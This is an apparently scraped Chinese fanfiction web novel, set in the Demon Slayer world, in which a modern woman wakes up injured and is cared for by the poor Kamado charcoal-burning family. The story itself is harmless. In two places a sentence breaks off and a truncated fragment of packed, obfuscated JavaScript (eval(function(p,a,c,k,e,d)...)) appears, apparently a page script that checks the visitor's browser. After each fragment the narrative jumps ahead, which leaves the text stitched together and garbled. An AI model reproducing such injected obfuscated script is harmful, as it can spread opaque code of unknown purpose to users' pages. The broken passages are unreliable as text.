《我带灶门一家脱贫致富》 1. 第一章 【强调,本文不涉及任何正史!平行世界平行世界!】 第一章 “呦,炭治郎,今年这么早就出来做生意了?这时候才刚入秋啊。” “啊,这不是游助大叔吗?日安。” 炭治郎在听到有人叫自己后,立即放下手中的活计向对方鞠躬道:“好久不见您了,近日来身体可好!” 游助看着将腰弯成九十度,对自己规规矩矩的男孩子摆了摆手:“诶诶诶,不用对我这么多礼啦,你这孩子还真老实啊。” 游助看着长高了不少但脸上仍旧稚气十足的男孩,忍不住感叹:“时间过的真快啊,你都能自己一个人出来做生意了,诶,怎么不见炭十郎桑?他最近还好吗?” 提到自己的父亲,炭治郎眉宇间闪过一丝愁容,游助是个走南闯北的游商,他这种人察言观色自有一套,因此马上看出炭治郎脸上的难言之隐。 “诶呀,真是辛苦你了,身为长子,明明这么小,就得背负起家中责任。” 游助拍了拍炭治郎的肩膀有感而发,炭十郎先生的身体在这附近是出了名的不好,也幸好他的长子能干,不然失去家中主要劳动力,卖炭一家,啊不,现在大家都有姓氏了,要叫灶门一家,可怎么办啊。 想到这里,游助起了恻隐之心,他对炭治郎道:“你推车里的炭,全给我吧。” 炭治郎先是一愣,但他很快就调整好心情,笑着对游助拒绝道:“劳您关心,我父亲最近身体确实有些不舒服,因此我想着今年尽早开张多卖些炭的,但我不希望游助先生为了帮我而将炭全部买下来,毕竟我知道,游助先生家不需要这么多炭烧。” “哈哈哈,你这傻小子。”游助哈哈大笑着拍了拍炭治郎的肩膀,他低头看着和自己儿子差不多大的男孩,眼中满是喜爱:“傻小子,你以为我是为了帮你?别忘了叔叔是干什么的,叔叔是游商啊,你们家的炭烧的好,在其他山头也受欢迎,所以我才愿意从你这里进货啊。” 说着,游助催促炭治郎赶紧将炭算好钱交给自己:“好了,不要磨磨蹭蹭的,你将你箩筐一块给我吧,我好装。” “是!” 能够将手里的炭全部卖出去,炭治郎当然高兴,他们家世世代代靠烧炭卖炭为生,所有的经济来源全靠这个手艺,因此只有冬天才有进项,日子过得十分清贫。 卖了炭才能换粮食,多卖炭才能凑够给父亲买药的钱,炭治郎看着手中游助递过来的钱币,眼中闪过亮晶晶的光芒,但很快,炭治郎的眉头便慢慢皱起。 “游助先生,你给多了。” 炭治郎皱着眉,将手中的铜币数出两枚执意要还给游助:“我的这些炭并不值那么多钱。” 游助摸了摸额头上的汗水,他此时竟然在一个小孩子耿直的眼神下觉得心虚:“啊,多余的前是用来买你箩筐的。” “那就更多了!”炭治郎又数出一枚,一脸严肃:“一个箩筐连一百元都不到,游助先生,请你收回去!” “……真是败给你了小子。”游助只觉得有些头疼,他看着炭治郎无奈的摇了摇头:“你这性格跟炭十郎桑简直一模一样。” 看着游助将多余的钱拿回去,炭治郎才露出一个大大的笑容:“嗯,因为父亲教过我,做生意要诚实,我知道游助先生的好意,但是我们家的炭该值多少就是多少,如果我因为接受了您的善意,而抬高了我们家的炭价,对您,对其他邻里都不公平,这不是做生意的长久之计。” 游助摇了摇头,他看着眼前这个执拗的小鬼无奈的笑了笑,而后道:“好吧,败给你了,小老板。” 说着,游助询问炭治郎:“我这里近些日子进了些新奇货哦,要不要看看?给你弟弟妹妹他们带点什么回去?” 想到弟弟妹妹们,炭治郎有些意动,但他想了想还是艰难的拒绝了:“下次吧,游助先生。” 家里现在要用钱的地方很多,如果随意乱花的话,完全不够家中的开支啊。炭治郎虽然好奇那些新奇玩意儿,但还是拒绝了游助的好意。 “哦,这样啊……”游助笑了笑,不意外炭治郎的选择,灶门一家都是诚实的人,因此他是真的喜欢跟这家人打交道。 “那等手头宽裕了,再来看吧。”说着,游助给炭治郎展示了他货车上的好东西:“你瞧,这些发卡头花之类的,不错吧,我记得祢豆子也是大姑娘了,她开始需要这些了,以后带着她一块来我这看吧。” “哇,真好看啊。” 炭治郎看着货车上的各种女孩子用的东西,眼中闪烁着星光,他想,如果这些好看的头饰能够戴在祢豆子和花子的头上,该多好啊。 好,一定要努力工作,将来能给妹妹们买下来。 “这些都是西洋货哦。” “西洋货?” 炭治郎不理解,他从小到大没出过这座山,因此完全不了解外面的世界。 “啊,就是……海外那些厉害的国家。”游助挠了挠脸,想了半天才含糊的解释道。 “海外?那是哪里?是什么样的?他们那里的人也和我们一样吗?平日都吃什么?穿什么?冬天也需要烧炭吗?” 听到自己不知道不了解的新奇知识,炭治郎两眼冒光的向游助追问。 “拜托您告诉我!” “游助先生!” “游助先生?” “怎么不说话?” 面对炭治郎期待的目光,游助直接麻爪了。 其实他也不知道什么是西洋,他就是从码头拿货的时候,听那些老爷提了几句,西洋人很厉害,他们的东西都十分的高档,但具体怎么个厉害法,没读过书的游助也没法知道的太清楚。 “啊,说到海外,那,是不是和西边最近的万邦国一样?”炭治郎满眼憧憬的询问。 “啊,对,就和万邦一样!” 游助立即附和道,他看着炭治郎眼中强烈的求知欲,肚子里没有任何墨水的他选择转移话题:“说到万邦国,我这里有些东西和那边有联系哦。” 说着,游助急忙翻找这货车上的东西,而后从最里面的杂物袋里翻出一包种子。 “喏,就是这个。” 游助将那小布包摊开,露出里面的种子笑道:“你知道这是什么吗?” 没见识的山里小孩炭治郎一脸老实的摇头,他期待的看着游助等着他解答。 “这是梧桐的种子哦,这可是从万邦那里漂洋过海来才来到这里的。” 虽然不明白梧桐有什么奇特的,炭治郎还是老老实实的听着游助忽悠。 游助说着,一脸深奥的对炭治郎道:“你知道梧桐在万邦意味着什么吗?” “不知道。”炭治郎老老实实的当一个捧哏。 “是能够招来凤凰的树哦,万邦有个传说,只要在家中种上梧桐,那么凤凰就会降落到那一家,是非常吉祥的象征,喏,拿去吧。” 说着,游助将那包梧桐种子塞到炭治郎手里,这让炭治郎惊呼:“不好吧,这可是能够引来凤凰的树种啊,我不可以要。” “诶呀,给你你就拿着!这不是什么值钱的东西!” 游助受不了炭治郎这小孩纯净的目光,也不想再和耿直的炭治郎推让,于是拉着自己的货车赶紧跑了,边跑边和炭治郎道:“拿回家去种吧,你们家世代烧炭不就是与火有关?说不定种上梧桐真能引来凤凰呢!” 炭治郎看着游助远去的背影,深深的鞠躬,而后对着游助喊道: “是!我会努力的!我一定会种出梧桐来!” …… “哈哈哈,哥哥,你这是被游助老板忽悠了吧。” 在炭治郎回家,将游助的话原封不动的告诉家人后,果不其然,迎来了弟弟妹妹们的嘲笑。 竹雄无奈的摇了摇头,身为次子的他是整个家里第二个懂事的人,虽然他很崇拜大哥,但大哥有时候的天然呆实在是让他这个当弟弟的十分无奈。 “游助先生明显是在敷衍你啦。”竹雄说完之后,灶门家的三子茂和最小的弟弟六太附和着二哥的话,笑着重复:“敷衍你,敷衍你~” 茂和六太都还太小了,这个年纪的小不点最喜欢跟在哥哥们的身后有样学样了。 “去去去。”竹雄做驱逐状,将两个小不点赶走:“不许看大哥的笑话。” “哈哈哈。” 茂和六太嬉笑着跑开,到一边玩去了。 “慢点不要摔倒啊。” 炭治郎对活泼的弟弟们只能出声嘱咐注意安全,而后他看着手里的种子解释:“其实,我也没想过真的能引来凤凰啦,我只是想着,若是能种出来对咱们家也算是个吉兆呢。” 他们家是烧炭的,与火有关,而凤凰在霓虹的传说中是火焰的象征,所以梧桐对他们家而言也算是个吉祥物吧? 希望他们家的炭能大卖,这样家里就有钱了。 “哥哥,让我来吧。”祢豆子柔柔的声音传过来,她带着妹妹花子来到炭治郎的身边:“我想试试看,这种子能不能发芽。” “嗯,我也会帮姐姐的忙。”花子挨在祢豆子的身边笑着道:“我们一定会种出来的,到时候栽在院子里,让它长得高高的。” 女孩子们很容易对传说中的浪漫故事期待共鸣,她们从炭治郎的手中接过种子,直接跑去找妈妈葵枝:“妈妈,哥哥拿了能引来凤凰的种子回来。” “是吗?让我看看?” 正在厨房忙碌的葵枝自然听到了孩子刚刚的笑闹声,她也跟着凑趣:“嗯,这个种子得泡一天,我到时候拿木箱来,咱们放在烧窑的后面,那里暖和,如果种子行的话,没多久就可以出芽了。” “太好了。” “太好了。” 祢豆子和花子对视一眼,两个女孩子的眼中满是期待:“妈妈你知道梧桐树长什么样子吗?” “诶?” 葵枝一愣,而后摇头:“妈妈没见过,或许爸爸知道?毕竟他对木材很懂的。” 祢豆子和花子对视一眼,而后笑着跑到内室:“爸爸,爸爸。” 炭十郎原本因为发烧而昏昏沉沉的,但是在听到两个女儿欢快的声音后,立刻睁开双眼。 “怎么了?” 炭十郎其实已经听了个大概,但他仍然笑着听两个女孩围着他,将发生的一切如实复数一遍。 “这样啊……咳咳。”炭十郎用帕子捂住嘴,扭头咳嗽了几声,这让原本很开心的祢豆子和花子瞬间担心起来。 “爸爸,我去给你倒水。”花子立即跑到厨房去找葵枝,而祢豆子则是扶着炭十郎的背给他顺气。 “阿娜达,怎么样了?” 葵枝听了女儿的话后,立刻端着温水过来,她看着日渐消瘦的丈夫,心中发苦。 “我没事,小葵。” 炭十郎看着自己的妻子,笑着安慰:“我刚刚听到了孩子们的声音。” “爸爸,你觉得这世上有凤凰吗?”花子有些害怕,她忍不住扑到父亲怀里,将头埋得深深的:“是不是引来凤凰,你的病就好了?” 炭十郎一愣,随即他轻轻的搂住小女儿道:“啊,是啊,凤凰来了,爸爸的病就好了,所以,花子要和姐姐还有妈妈一起,将梧桐种出来啊。” “我一定会的!”花子抬头,她非常坚定的保证:“我和妈妈姐姐,还有哥哥弟弟们,一定将梧桐种出来!” “是,我和花子一定努力。” 祢豆子更大一些,她因为是长女其实已经和炭治郎一样懂事了,知道有些故事只是传说,但是…… 如果能够让爸爸好起来的话,她愿意相信会有奇迹发生。 炭治郎站在角落里,他和弟弟竹雄一同看着内室发生的一切,没有上前。 炭治郎扭头看了一眼弟弟道:“我们要加油了。” 竹雄看着自己的大哥用力的点头:“嗯!” 加油守护这个家。 奇迹并没有发生,爸爸炭十郎的身体随着天气渐凉越来越差,家中的炭虽然逐渐卖得多了,但根本不够负担爸爸的药钱,最终有一天,炭十郎将长子叫到塌前,用冷淡的声音说:“炭治郎,将钱存下来,给家里买明年的粮食吧。” 虽然早就已经有所准备,但是真的听到父亲如此说的时候,炭治郎仍然忍不住激动的反驳。 “可是还没到那个时候不是吗!” 平日温和的炭治郎难得的发怒,他像一头小狮子,对着自己的父亲用尽了力气咆哮:“你知不知道大家都那么的关心你,不希望你离开!还没到那种无法挽回的地步不是吗!我可以赚钱,我可以到更深的山里去!竹雄逐渐大了,他也能和我一样,给家里干活,所以照顾您根本不是问题,所以为什么要放弃!” 说着,炭治郎发现自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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炭治郎配合的被妹妹拉着,来到保温箱前,看着破出土壤的嫩芽,心情稍有缓和。 “真好啊。” 炭治郎看着花子温柔道:‘花子一定要好好照顾它们啊。’ “嗯,我一定会好好照顾它的!我要让它长成参天大树!”被哥哥夸奖的花子很高兴,她围着哥哥笑个不停,而一旁的祢豆子则是看着自己的哥哥一脸担忧。 “哥哥。”为什么你的眉宇间会露出一副紧张愧疚的样子呢?祢豆子默默的想。 兄弟姐妹中,炭治郎和祢豆子的感情最好,不仅是因为他们长男长女,还因为他们性格中的彼此相惜。 “怎么了?”炭治郎看着大妹询问:“祢豆子要说什么吗?” “没什么,哥哥要出去吗?” “嗯,我去山上,看看能不能挖点什么。” 炭治郎没有隐瞒的意思,他对自己的大妹保证:“天黑之前我一定回来,所以要看着弟弟妹妹们啊。” “哥哥,我也要去。”花子听到哥哥要进山,她也想一起。 “花子,我有些事情需要你帮我,就不要和哥哥一起去了好吗。”祢豆子拉过妹妹,笑着转移她的注意。 “好,那我和姐姐一起。”花子想了想,还是觉得和姐姐待在一起比较好,便没再闹。 “我先走了。”见小麻烦被解决,炭治郎拎起斧头便向山上赶去。 “好,早点回来。”祢豆子看着哥哥离去的背影嘱咐道。 “好。” 因为两个妹妹的打岔,炭治郎心情好多了,他踩在雪地上,昨晚下了一整夜的雪,因此山中一片纯白,冷风灌进肺部,让炭治郎的脑子变得清醒了些。 他身无长物,唯一会的就只有先祖时代传下来的烧炭技术,他要去山上多砍些树,多烧些炭,如果可以,他会拉着那些炭去更远的地方卖,这样才能赚更多的钱。 天气越来越冷了,大家也需要更多的炭取暖吧。 炭治郎被风吹得脸颊生疼,他身上的袄子已经穿了许多年了,是从爷爷那里传下来改小了给他的,里面并没有多少棉絮,因此一点都不保暖。 没事的,炭治郎,没事的,你可是灶门家的长子,灶门家世代与火打交道,因此身体里也有一团火,所以你不怕冷,不怕冷。 “唔~不过还是好冷啊。” 炭治郎搓了搓胳膊,才砍了没几斧子,他就觉得手上又痒又痛,可能是冻疮犯了。 看了眼手中的伤疤和黑皴皴的皮肤,炭治郎咬着牙决定坚持,然而等他再次举起斧头的时候,忽然感觉眼睛被什么东西闪了一下。 那是什么? 炭治郎才发现远处传来闪光,他用力吸了吸鼻子,被寒风冻得失灵大半的嗅觉因精神的集中而恢复工作,他闻到了一股好闻的香味和……血?! 谁?是谁受伤了!好像听说最近这附近山里有熊出没! 炭治郎顾不得多想,顺着气味的方向跑了过去,远远的,他看到了一抹刺目的红。 炭治郎脑袋懵了一瞬,他以为有人倒在了血泊中,因此顾不得一切的加快了速度,而当他终于来到目的地,看清了一切,惊讶并没有退却,反而加重了。 原本这世界上真的有凤凰吗? 看着倒昏迷在雪地中的女孩子,炭治郎闪过的第一个念头便是如此。 炭治郎无法用语言来形容此时的感受,他看到那个身着火红色天衣的女孩子在雪中静静的沉睡,一头秀发散落在雪地中如同乌木,原本插在发髻上的珠翠也狼狈掉了一地,她可能在雪地中冻了很久了,脸冻得没有血色,呼吸也十分微弱。 她伤的很重,必须赶紧治疗。 炭治郎说了一声:“失礼了!” 然后上手检查女孩的身体,他害怕这女孩的肋骨骨折,或者有其他伤口,如果贸然动她是害了她,但检查了一番后,却发现没有任何问题。 但是她身上确实有血腥味啊?那伤口呢?不见了? 炭治郎想不出缘由,他决定先将这个倒在雪中的神秘少女背回家去。 啊,至于那几个散落在雪地中的箱子……炭治郎没见过那样的箱子,是天女的宝箱吗?到时候让竹雄过来搬一趟吧。 2. 第二章 第二章 好痛,头好痛,浑身都好痛…… 陈凤只觉得浑身上下的骨头,肌肉,甚至是最深处的灵魂都像是被碾碎重组了一般,她的意识被困在幽深的黑暗之中,对外界只有些模糊的意识,但却无法做出反应。 啊,怎么回事,我动不了,发生了什么? 啊,好像是被卡车撞了吧?因为在高速服务区看到一个小孩随意乱跑,马上就要被驶入的重卡碾过去的时候,便想也不想就冲上去将那小孩推开了。 那SB司机也是,进服务区不知道减速吗?那SB熊孩子家长也是,不知道看紧自己小孩吗! 啊,我竟然还能骂人,看来我还活着吗? “妈妈,她怎么样?” “我刚刚看了,她的身上并没有明显的外伤。” “是吗?太好了。” “不,现在还不能放心,我怕她伤到了内里。” 是谁?是谁在说话?而且还是……霓虹语? 陈凤的意识模模糊糊的,她恍惚间听到有人在说话,而且说的还不是中文,最重要的是她还能听懂,可是陈凤记得自己虽然为了跑业务会说些霓虹语,但是她的水平还没有那么好啊,那些陌生人的声音,她都能听懂。 因为思考,陈凤只觉得十分疲惫,她的意识再一次陷入了黑暗。 “哥哥,竹雄,你们回来了啊。” “祢豆子,她怎么样了?” 炭治郎看着自己妹妹手中端着的水盆和毛巾,知道祢豆子刚刚是去照顾那个捡回来的女孩子了,便询问那女孩的情况。 “还没有醒,但是我和妈妈刚刚给她灌了药,她顺利喝下去了。” 祢豆子脸上满是乐观,在她的印象中,人只要能喝水吃东西,那就一定没问题。 “我一会儿去厨房找一些精米熬粥吧,只要她吃下去,就一定能醒过来的。”祢豆子提议道。 炭治郎对这个提议十分赞同,他笑着点头:“嗯,就这样办吧。” 听到哥哥姐姐的打算,身为次子的竹雄直接急了,如果不是他还得跟哥哥扶着推车,他早跳起来了。 “什么?哥,姐!你们要给那么陌生人吃白米?” 竹雄着急的看着炭治郎,希望用眼神让自己的大哥改变主意:“那可是,那可是……” 炭治郎笑了笑,他当然明白竹雄的意思,炭治郎将推车的把手放下,而后将那些属于天女的箱子搬下来,对弟弟道:“但是她的情况很危险,所以得吃点有营养的东西啊。” “可那是给爸爸补身体用的……” 竹雄咬着牙,他其实不是不想救人,也不是不善良,但是比起哥哥带回来的陌生女人,竹雄还是觉得生病的父亲更重要。 竹雄说完之后,低着头不敢去看大哥的脸色,他好怕自己会让大哥失望,让大哥觉得自己冷血又自私,是个无情无义的人啊。 竹雄知道,长兄和长姐都是非常好非常好的人,他也引以为荣,最喜欢长兄和长姐了,但是…… “而且,而且花子,茂还有六太,也好久没□□粮了。” 炭治郎看着快要将头埋入心口的弟弟忽而一笑,他用力的拍了拍弟弟的肩膀,大声道:“没关系的,竹雄,抬起了头来。” “诶?”竹雄茫然的抬头,他看到自己最喜欢的大哥正用鼓励的眼神看着自己。 “竹雄关心家人是没有错的哦,很有当哥哥的样子了!” “哥哥。” 被自己的大哥认同了,竹雄心中的紧张散去,他只觉得眼中湿润,止不住的害怕:“对不起,我不是不想救人,我只是,我只是……” “没关系哦,竹雄。”炭治郎将竹雄抱住,拍了拍弟弟的后背发誓:“不论是精米也好,药也好,哥哥都会想办法去弄的,今年过年的时候,一定让大家都吃饱,相信我好吗。” “嗯。”竹雄因为靠在哥哥的胸口,所以声音闷闷的听上去带着哭腔,但是很快,竹雄就调整好情绪,他一把推开大哥,强调:“什么啊,把我当小孩哄吗,而且我也是这个家的男丁,不需要大哥一个人扛!我会帮忙的!” 丝毫不介意弟弟的冷淡,炭治郎伸手摸了摸竹雄的头:“哈哈,好乖好乖~哥哥知道了哦。” “切,真是。”竹雄嘴上嫌弃一声,但还是没有躲开哥哥的手,只不过当他余光中看到姐姐祢豆子偷笑的表情时,瞬间炸毛了:“好了,我要去干活了!这些东西都是那个女的的吗?放在哪里?” “哥哥你们回来了?” “哇,这些是什么啊!” 花子带着最小的两个弟弟做游戏回来了,他们看到院子里小推车上的两个奇怪的大箱子纷纷好奇。 “这个啊,应该是屋子里那个昏迷的女人的行礼。”竹雄哼了一声:“还挺沉的,也不知道装了什么,我和大哥废了好大的力气才搬回来的。” “哇,好漂亮啊。” 花子看着其中一个粉色的箱子好奇的上前,用手敲了敲:“诶?不是木头?有些软软的?到底是什么啊?” “啊,我也要看!”茂见姐姐上手了,也跟着学起来。 “哥哥,姐姐,抱!”最小的六太因为还太小,个子不够高,够不到推车上的箱子,有些着急的喊。 “好了好了。” 炭治郎上前,将六太抱住让他也摸了摸那箱子:“你们只能看看哦,这些都是那个姐姐的东西。” “嗯!” 看着大哥抱着六太的样子,竹雄无奈的摇摇头:“真是的,那个女的到现在还不醒,也不知道她到底是从哪来的,就连她身上的东西都是那么的奇奇怪怪。” 对于哥哥从山上捡回来的女孩子,家里人先是紧张,害怕那个在雪地中昏迷的女孩会因受伤而失去生命,再然后是惊愕。 原因无他,这个陌生的女孩子出现的太蹊跷了,不光无声无息的带着那么多东西出现在后山,甚至她身上穿的衣服都是没见过的华贵料子,当时的妈妈和姐姐甚至不敢上手去摸,因为她们害怕手上粗糙的皮肤会将那漂亮的料子勾出丝来。 竹雄虽然这些天没有接近那个女孩,但是他的视力很好,完全看清了,那女孩的裸|露的手臂,和脸蛋的皮肤是那么的光滑白皙,比城镇的大家小姐都要好看,她身上一点劳动的痕迹都没有,却能拖着那么重的行礼行走在山间? 竹雄怀疑那女孩是个妖精,会给家里带来祸害,但是他又说不出将女孩赶走的话。 所以她是人类吧?而不是山上的妖精,应该不会对家里造成什么伤害吧? 抱着这样的心态,竹雄忧心忡忡的过了四天,这些日子他一有空就去偷瞄一眼那个昏迷中的女孩子到底有没有动静,不过这自以为小心翼翼的举动还是被弟弟妹妹们发现了。 “二哥羞羞脸!”茂像是发现了什么新大陆一样,指着又一次往屋内偷瞄的竹雄大喊。 “羞羞脸,偷看!”六太跟着附和,其实他也不知道发生了什么,但是哥哥说啥,他就跟着一块。 “你们两个!” 竹雄脸气得通红,他想冲上去给两个臭弟弟一脚,但却被端着水盆走过来的祢豆子制止了。 “发生了什么啊?” 祢豆子笑眯眯的看着几个弟弟,这时候茂和六太像是找到了靠山,直接躲到长姐身后,大声告状:“大姐!二哥总是偷看那个女孩子,我都看见了!” 茂指着竹雄大声道。 “对,看见了!”六太跟着附和。 “诶呀,这可不行。”祢豆子惊呼一声,不赞同的看着竹雄:“不可以对女孩子偷偷摸摸的哦,竹雄。” “什么啊!我才没偷看那个女的!”竹雄直接炸了,他脸色通红的辩解,盯着两个偷笑的弟弟恨不得冲上去把那两个小混蛋揍一顿。 “不可以那么没礼貌,那位小姐可比我们要大哦,得叫姐姐。” 祢豆子板起脸来,虽然她平日里温温柔柔的,但是真的威严起来时,弟妹们没有不怕的。 “是,知道了。”竹雄老老实实的道歉,他忽然觉得心好累啊。 “啊,姐姐。” 这时候,茂指着屋子里惊呼:“我刚刚好像看到,那个一直睡觉的姐姐动了。” “诶?真的!?” 祢豆子闻言再顾不得其他了,她赶紧让弟弟们去找妈妈和炭治郎,自己则是来到屋子里,紧张的盯着那个一直昏睡的女孩子。 随即,祢豆子惊喜的发现,那女孩的眼皮动了。 陈凤睁开眼后,恍惚觉得有些不对劲。 这是哪?医院吗?但是哪个医院那么穷?天花板竟然是木质的?啊,是没给我上止痛药吗?我好痛,浑身都好痛啊。 “你醒了?” 女孩子担忧的声音让陈凤混沌的脑袋逐渐清明,她抬眼,看着出现在视线上方的脸,有些困惑。 这个妹妹是谁啊?美瞳好自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈凤微微摇头,表示她没事。 “让她继续躺着吧。” 炭治郎说着,和祢豆子一起将陈凤扶着躺下。 随即,炭治郎闻到了一阵不安的味道,他鼻子很灵,而人在情绪的影响下,会让身体散发出各种不同的味道,炭治郎就是这样,靠着嗅觉分辨出对方的情绪的,因此他轻而易举的猜到了陈凤的心思。 “不要担心,你很安全的。” 男孩忍不住伸手抚在女孩光洁的额头上,确定她没有发烧后,放心的笑了:“这里是灶门家,我叫炭治郎,这是我妹妹祢豆子,别担心,在你好起来之前,我们会照顾你。” 陈凤眨了眨眼,此时她才发现,这个陌生的男孩,他的瞳孔是暗红色的,就连头发也是。 这究竟是哪啊?陈凤不知道,但至少这对兄妹对自己很和善。 这么想着,陈凤开口,试着出声。 “chen,feng” “嗯?你是想说什么吗?” 祢豆子听到陈凤口中陌生的读音,有些听不明白,于是她凑近一些,希望能听懂陈凤在说什么。 而这时,陈凤恍然,她说自己的名字的读音,这兄妹两个是不是不理解啊? 那,换一个说法…… “ho u o u……”陈凤艰难的张嘴,她看着这对十分奇特的兄妹两个,尽量让自己的声音清晰。 “ほうおう。” 为了让这对兄妹听懂,陈凤费力的抬手指着自己道:“我叫……凤。” 说完,陈凤觉得自己用尽了身上所有的力气,她只觉得特别疲惫,便再次合眼睡着了。 “呜!”祢豆子捂着嘴巴惊呼一声,她扭头看向哥哥,大大的眼睛眨了又眨。 “哥哥,她说她叫凤凰诶。” 祢豆子激动得脸颊红润:“你说是不是特别巧,她是不是真的是凤凰变得?” 炭治郎点了点妹妹的头,无奈的笑了笑:“你看着她吧,我去厨房做些吃的,她既然醒了,那很快就应该饿了。” 祢豆子点头表示赞同,毕竟这些日子,为了让陈凤活下去,她都是轮流和妈妈掰着她的嘴,给她灌米汤维持着的。 祢豆子忍不住伸手,戳了戳陈凤白皙的脸颊。 快点好起来吧,名字叫凤凰的姐姐。 3. 第三章 第三章 恢复意识后,陈凤还是只能躺着,因为可能是被大车碾过的关系,她虽然活下来了但是浑身上下特别疼痛,就算是翻身都需要人辅助,所以现在的陈凤和活死人没啥区别。 但是一有机会她就会拉着祢豆子和花子聊天,以便了解她现在在哪,处于哪个时代。 不过很可惜,祢豆子和花子这两个小女孩是地道的山里孩子,她们对社会的了解只限于家庭和山脚下的镇子。 所以从这两个女孩子口中,陈凤只能了解一些灶门家的事情。 灶门家学识最多的是她们的长兄炭治郎,以及她们生病在床的父亲,陈凤没能去拜见的一家之主炭十郎先生。 说实话这段时间除了醒过来的当天,陈凤和炭治郎没怎么交流过,因为炭治郎每天都要为家中的生计奔波,才11岁的男孩子已经用瘦弱的肩膀扛起家中责任了,通常都是陈凤醒过来了,炭治郎已经伴随着朝露出发下山了。 除此之外,灶门家的其他男孩,陈凤其实也没和他们说上几句话,或许是怕男孩们闹腾,葵枝女士直接喝令其他男孩不允许打扰陈凤休息,要躲远一些。 相反,灶门家的女眷都是十分温柔的性格,虽然祢豆子因为是长女所以大部分时间都在干家务,可是一有空就会坐在陈凤身边和她聊天。 妹妹花子还是天真浪漫的年纪,她是灶门家中唯二的女儿,因为上头有三个哥姐,所以她的担子比较轻松,因此时常来找陈凤说话,但是陈凤还很虚弱,她开口说不了几句话就觉得累,而花子妹妹很体贴,大部分时间都是她自己在一旁说,让陈凤听。 这个家的女主人葵枝女士也一样,因为陈凤现在身体痛的动不了,所以每天葵枝女士都会过来帮陈凤擦身体,同时陈凤每次需要上厕所都是葵枝女士背着陈凤去的。 说实话,虽然有灶门一家人的精心照料,但其实陈凤还是很不适应,啊,澄清一下,说这话不是因为陈凤不懂得感恩,她很感激灶门一家对她的照顾。 但事实条件就摆在这里,陈凤现在必须得适应从条件优越的现代社会,转变到霓虹山民的清贫家庭的过程。 就拿吃食来说,灶门一家每天只吃两餐,就早上和晚上能吃东西,中午靠毅力扛着。 来说说灶门一家的伙食,早上有一碗味增汤,因为他们一家都得干活,补充盐分身体才有力气,然后每人一碗杂粮饭,晚上还是那个配置,只不过干饭换成了粥,因为晚上要睡觉不用干活了,但好在起码多出一碟萝卜…… 这是平常,改善生活的时候,一般会加一点腌的鱼干之类的东西。 当然炭治郎是例外,他现在是家里的主要劳动力,他一大早就需要背着有他半身高的炭从山路走下去售卖给山脚的居民,所以听祢豆子说,他妈妈会额外准备饭团给炭治郎充饥。 说这件事的时候,祢豆子难得空闲,她坐在陈凤身边,一边坐着针线,一边和陈凤聊天,脸上挂着似是埋怨的无奈。 “不过,虽然说哥哥中午有加餐,但因为哥哥比较疼爱弟弟们,所以他每次都会舍不得吃梅子饭团,特意省下来让弟弟多吃两口。” 说到这里,祢豆子便忍不住露出一个想到亲人时温煦的笑容,但是陈凤心中别提多不是滋味了。 她当然知道灶门家的兄弟姐妹关系好,和她说这件事的时候,祢豆子是带着开心的情绪的,他们很知足,虽然贫穷,但是分一口哥哥偷偷省下的饭团,就能让几个孩子开心很久。 但是这不行啊! 炭治郎才11岁啊,祢豆子10岁!竹雄8岁,花子6岁,茂4岁,最小的六太才2岁! 当陈凤得知他们一家的伙食之后完全无法接受,尤其是,在这一个月中,灶门一家给她吃的是不掺粗粮的白米粥,那心中的愧疚都要冒出来了,因为这待遇就算是没见过面的炭十郎先生都没有。 这对陈凤而言是曾经想都不敢想的事情啊,按照她的认知,一日得吃三顿,而且得有菜有肉,就算没有,也得有个鸡蛋补充蛋白质啊! 越想陈凤越绝望,就是说,灶门家本来就有一个病人拖着,现在还得再加上她这个半残废的拖油瓶? 现在陈凤知道了,这一家人现在的劳动力可以说全压在救她回来的炭治郎身上,现在能做主的大人只有葵枝女士,可是葵枝女士是典型的家庭主妇,她虽然能干,但是她擅长的领域是洗衣服做饭…… 不,应该说受认知的影响,灶门一家世代以烧炭为生,所以他们一家人的生存技能就只会这么几样。 陈凤此时陷入了深深的焦虑之中,她心中关于生存的警铃嗡嗡作响,她知道灶门一家都是好人,说真的,她一开始也怀疑过这家人别有所图,但是这个念头在葵枝女士将她头上那些发饰一一摆在托盘中给她看的时候,直接打消了大半。 虽然陈凤还是警惕,但至少她相信这家人是善良的了,因为她看过一眼,那些头饰全部是她当初特意为了搭配汉服去找人订做,还有一些缠花的头饰是她自己做的,葵枝女士当时说,这么贵重的东西得收好,陈凤就知道,那些首饰在这个时代还是蛮值钱的,但是他们没有拿。 再加上她的两个大行李箱,和一个用麻袋包裹着的布料,而且都是一些珍贵的好料子。灶门家的人碰都没碰一下,她那两个箱子就一直放在那好好的搁着。 如果灶门一家对她起坏心思,说真的,陈凤觉得他们应该直接找人伢子将她卖了,一个年轻女孩而且长得也不差,能换不少钱呢,然后将她的首饰和行礼归拢一下拿出去卖了,反正总归不会一家人吃糠咽菜,给她吃白粥这样好好的照顾着。 但也正是这番好意,让陈凤心中压力更大了,她是个要强的性子,奉行别人对她好,就得双倍奉还。 就让她一直这么在床上躺着被照顾,陈凤的自尊心不允许。 “我回来了!” 啊,是炭治郎的声音。 陈凤眨了眨眼,今天炭治郎回来的还挺早,冬天太阳下山早,他竟然在太阳下山前回来了。 “哥哥!” “大哥,你回来了!” 陈凤听到了一阵欢声笑语,看来灶门一家的兄妹关系很好,这让陈凤非常新奇而陌生,因为她是独生女,父母在世前,完全是将她当小公主宠大的,也因此陈凤就养成了非常霸道的性格,不过父母觉得这不是一件坏事,因为他们认为,以后陈凤需要继承家中的一切,只有性格不好惹一点,才能守住家业。 而陈凤的父母对陈凤的教育还真是有远见,在他们突然离世后并没有留下遗嘱,那么按照继承法,他们的父母,也就是陈凤的爷爷奶奶姥姥姥爷也是拥有遗产继承权的,因此这些老东西都想分一杯羹,好留给他们的子女。 